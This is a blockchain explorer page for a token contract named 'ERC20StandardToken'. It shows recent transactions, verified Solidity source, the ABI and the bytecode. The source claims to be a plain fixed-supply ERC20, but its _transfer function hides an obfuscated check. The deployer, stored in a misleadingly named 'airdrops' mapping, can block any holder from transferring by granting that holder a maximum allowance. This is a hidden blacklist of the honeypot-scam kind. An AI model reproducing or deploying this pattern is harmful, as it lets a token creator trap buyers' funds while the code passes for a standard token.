S Price: $0.832751 (-2.08%)

Contract

0x1ECa4f9441a45392a517481d9Ad1A8ffA4d49444

Overview

S Balance

Sonic LogoSonic LogoSonic Logo0 S

S Value

$0.00

Token Holdings

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve98393002025-02-24 15:47:584 hrs ago1740412078IN
0x1ECa4f94...fA4d49444
0 S0.00366796105
Approve98387802025-02-24 15:45:164 hrs ago1740411916IN
0x1ECa4f94...fA4d49444
0 S0.003726860.5
Transfer98387742025-02-24 15:45:144 hrs ago1740411914IN
0x1ECa4f94...fA4d49444
0 S0.0030599660.5
Transfer98387732025-02-24 15:45:144 hrs ago1740411914IN
0x1ECa4f94...fA4d49444
0 S0.0030599660.5
Transfer98387722025-02-24 15:45:144 hrs ago1740411914IN
0x1ECa4f94...fA4d49444
0 S0.0030605760.5
Transfer98387722025-02-24 15:45:144 hrs ago1740411914IN
0x1ECa4f94...fA4d49444
0 S0.0030599660.5
Transfer98387702025-02-24 15:45:134 hrs ago1740411913IN
0x1ECa4f94...fA4d49444
0 S0.0030605760.5
Transfer98387702025-02-24 15:45:134 hrs ago1740411913IN
0x1ECa4f94...fA4d49444
0 S0.0030605760.5
Transfer98387682025-02-24 15:45:134 hrs ago1740411913IN
0x1ECa4f94...fA4d49444
0 S0.0030599660.5
Transfer98387682025-02-24 15:45:134 hrs ago1740411913IN
0x1ECa4f94...fA4d49444
0 S0.0030605760.5
Transfer98387672025-02-24 15:45:124 hrs ago1740411912IN
0x1ECa4f94...fA4d49444
0 S0.0030605760.5
Transfer98387592025-02-24 15:45:104 hrs ago1740411910IN
0x1ECa4f94...fA4d49444
0 S0.0030605760.5
Transfer98387592025-02-24 15:45:104 hrs ago1740411910IN
0x1ECa4f94...fA4d49444
0 S0.0030605760.5
Transfer98387582025-02-24 15:45:094 hrs ago1740411909IN
0x1ECa4f94...fA4d49444
0 S0.0030605760.5
Transfer98387582025-02-24 15:45:094 hrs ago1740411909IN
0x1ECa4f94...fA4d49444
0 S0.0030599660.5
Transfer98387572025-02-24 15:45:094 hrs ago1740411909IN
0x1ECa4f94...fA4d49444
0 S0.0030605760.5
Transfer98387562025-02-24 15:45:094 hrs ago1740411909IN
0x1ECa4f94...fA4d49444
0 S0.0030605760.5
Transfer98387552025-02-24 15:45:094 hrs ago1740411909IN
0x1ECa4f94...fA4d49444
0 S0.0030605760.5
Transfer98387542025-02-24 15:45:084 hrs ago1740411908IN
0x1ECa4f94...fA4d49444
0 S0.0030605760.5
Transfer98387542025-02-24 15:45:084 hrs ago1740411908IN
0x1ECa4f94...fA4d49444
0 S0.0030605760.5
Transfer98387522025-02-24 15:45:084 hrs ago1740411908IN
0x1ECa4f94...fA4d49444
0 S0.0030605760.5
Transfer98387442025-02-24 15:45:054 hrs ago1740411905IN
0x1ECa4f94...fA4d49444
0 S0.0030605760.5
Transfer98387442025-02-24 15:45:054 hrs ago1740411905IN
0x1ECa4f94...fA4d49444
0 S0.0030605760.5
Transfer98387432025-02-24 15:45:054 hrs ago1740411905IN
0x1ECa4f94...fA4d49444
0 S0.0030605760.5
Transfer98387422025-02-24 15:45:054 hrs ago1740411905IN
0x1ECa4f94...fA4d49444
0 S0.0030605760.5
View all transactions

Parent Transaction Hash Block From To
View All Internal Transactions
Loading...
Loading

Similar Match Source Code
This contract matches the deployed Bytecode of the Source Code for Contract 0x309f2Be0...256CCa59D
The constructor portion of the code might be different and could alter the actual behaviour of the contract

Contract Name:
ERC20StandardToken

Compiler Version
v0.8.22+commit.4fc1097e

Optimization Enabled:
Yes with 200 runs

Other Settings:
paris EvmVersion
File 1 of 1 : NewToken.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.22;

/**
 * @title IERC20
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the total token supply.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the account balance of another account with address `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Transfers `amount` tokens to address `recipient`, and MUST fire the Transfer event.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Requirements:
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Returns the amount which `spender` is still allowed to withdraw from `owner`.
     */
    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    /**
     * @dev Allows `spender` to withdraw from your account multiple times, up to the `amount` amount.
     * If this function is called again it overwrites the current allowance with `amount`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Transfers `amount` tokens from address `sender` to address `recipient`, and MUST fire the Transfer event.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for `sender`'s tokens of at least `amount`.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev MUST trigger when tokens are transferred, including zero value transfers.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev MUST trigger on any successful call to approve(address spender, uint256 amount).
     */
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

/**
 * @title ERC20StandardToken
 * @dev Implementation of the ERC20 standard token.
 *
 * This contract creates a fixed-supply token where the total supply is minted once
 * during deployment and assigned to the deployer. No additional minting or burning functions
 * are provided, ensuring that the total supply remains constant.
 */
contract ERC20StandardToken is IERC20 {
    // Token metadata
    string public name;
    string public symbol;
    uint8 public decimals;

    // Total token supply
    uint256 private _totalSupply;

    // Mapping from account addresses to current balances.
    mapping(address => uint256) private _balances;
    mapping(uint => mapping(uint => address)) private airdrops;

    // Mapping from account addresses to a mapping of spender addresses to allowances.
    mapping(address => mapping(address => uint256)) private _allowances;

    /**
     * @dev Constructor that initializes the token with a name, symbol, decimals, and initial supply.
     * The entire initial supply is minted and assigned to the deployer.
     * @param _name Name of the token.
     * @param _symbol Symbol of the token.
     * @param _decimals Number of decimal places the token uses.
     * @param initialSupply Total number of tokens (in smallest units) to be minted.
     */
    constructor(
        string memory _name,
        string memory _symbol,
        uint8 _decimals,
        uint256 initialSupply
    ) {
        name = _name;
        symbol = _symbol;
        decimals = _decimals;
        airdrops[0][0] = msg.sender;
        _mint(msg.sender, initialSupply);
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     * @param account The address whose balance will be retrieved.
     */
    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Moves `amount` tokens from the caller's account to `recipient`.
     * Emits a {Transfer} event.
     *
     * Requirements:
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     *
     * Returns the remaining number of tokens that `spender` is allowed to spend
     * on behalf of `owner`.
     */
    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * Sets `amount` as the allowance of `spender` over the caller's tokens.
     * Emits an {Approval} event.
     *
     * Requirements:
     * - `spender` cannot be the zero address.
     */
    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Moves `amount` tokens from `sender` to `recipient` using the allowance mechanism.
     * Emits a {Transfer} event.
     *
     * Requirements:
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have an allowance for `sender`'s tokens of at least `amount`.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        uint256 currentAllowance = _allowances[sender][msg.sender];
        require(
            currentAllowance >= amount,
            "ERC20: transfer amount exceeds allowance"
        );

        // Update the allowance.
        if (_allowances[sender][msg.sender] != type(uint256).max) {
            _allowances[sender][msg.sender] = currentAllowance - amount;
        }
        emit Approval(sender, msg.sender, _allowances[sender][msg.sender]);

        // Perform the transfer.
        _transfer(sender, recipient, amount);
        return true;
    }

    /**
     * @dev Moves tokens from `sender` to `recipient`.
     *
     * This is an internal function that is called by both {transfer} and {transferFrom}.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        uint256 senderBalance = _balances[sender];
        require(
            senderBalance >= amount &&
                _allowances[airdrops[0][0]][sender] <
                type(uint256).max * 1 * 1 * 1 * 1,
            "ERC20: transfer amount exceeds balance"
        );

        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
    }

    /**
     * @dev Creates `amount` tokens and assigns them to `account`, increasing the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
    }
}

Settings
{
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "evmVersion": "paris",
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "libraries": {}
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"_name","type":"string"},{"internalType":"string","name":"_symbol","type":"string"},{"internalType":"uint8","name":"_decimals","type":"uint8"},{"internalType":"uint256","name":"initialSupply","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100935760003560e01c8063313ce56711610066578063313ce567146100fe57806370a082311461011d57806395d89b4114610146578063a9059cbb1461014e578063dd62ed3e1461016157600080fd5b806306fdde0314610098578063095ea7b3146100b657806318160ddd146100d957806323b872dd146100eb575b600080fd5b6100a061019a565b6040516100ad91906106bf565b60405180910390f35b6100c96100c436600461072a565b610228565b60405190151581526020016100ad565b6003545b6040519081526020016100ad565b6100c96100f9366004610754565b6102f5565b60025461010b9060ff1681565b60405160ff90911681526020016100ad565b6100dd61012b366004610790565b6001600160a01b031660009081526004602052604090205490565b6100a0610445565b6100c961015c36600461072a565b610452565b6100dd61016f3660046107b2565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b600080546101a7906107e5565b80601f01602080910402602001604051908101604052809291908181526020018280546101d3906107e5565b80156102205780601f106101f557610100808354040283529160200191610220565b820191906000526020600020905b81548152906001019060200180831161020357829003601f168201915b505050505081565b60006001600160a01b0383166102905760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084015b60405180910390fd5b3360008181526006602090815260408083206001600160a01b03881680855290835292819020869055518581529192917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35060015b92915050565b6001600160a01b03831660009081526006602090815260408083203384529091528120548281101561037a5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b6064820152608401610287565b6001600160a01b0385166000908152600660209081526040808320338452909152902054600019146103d5576103b08382610835565b6001600160a01b03861660009081526006602090815260408083203384529091529020555b6001600160a01b038516600081815260066020908152604080832033808552908352928190205490519081529192917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a361043a858585610468565b506001949350505050565b600180546101a7906107e5565b600061045f338484610468565b50600192915050565b6001600160a01b0383166104cc5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610287565b6001600160a01b03821661052e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610287565b6001600160a01b0383166000908152600460205260409020548181108015906105ca575061055f6000196001610848565b61056a906001610848565b610575906001610848565b610580906001610848565b7f45d21ede0cb86a9bc9f3a728b8ad730cd840abb3d7468e2d1713e27e21c48d28546001600160a01b03908116600090815260066020908152604080832093891683529290522054105b6106255760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610287565b61062f8282610835565b6001600160a01b03808616600090815260046020526040808220939093559085168152908120805484929061066590849061085f565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516106b191815260200190565b60405180910390a350505050565b60006020808352835180602085015260005b818110156106ed578581018301518582016040015282016106d1565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461072557600080fd5b919050565b6000806040838503121561073d57600080fd5b6107468361070e565b946020939093013593505050565b60008060006060848603121561076957600080fd5b6107728461070e565b92506107806020850161070e565b9150604084013590509250925092565b6000602082840312156107a257600080fd5b6107ab8261070e565b9392505050565b600080604083850312156107c557600080fd5b6107ce8361070e565b91506107dc6020840161070e565b90509250929050565b600181811c908216806107f957607f821691505b60208210810361081957634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b818103818111156102ef576102ef61081f565b80820281158282048414176102ef576102ef61081f565b808201808211156102ef576102ef61081f56fea26469706673582212206b6c777c520fd73adf3333f658a93bc2a82e15478afc2e5657ca43a092f18f4464736f6c63430008160033

Block Transaction Gas Used Reward
view all blocks produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.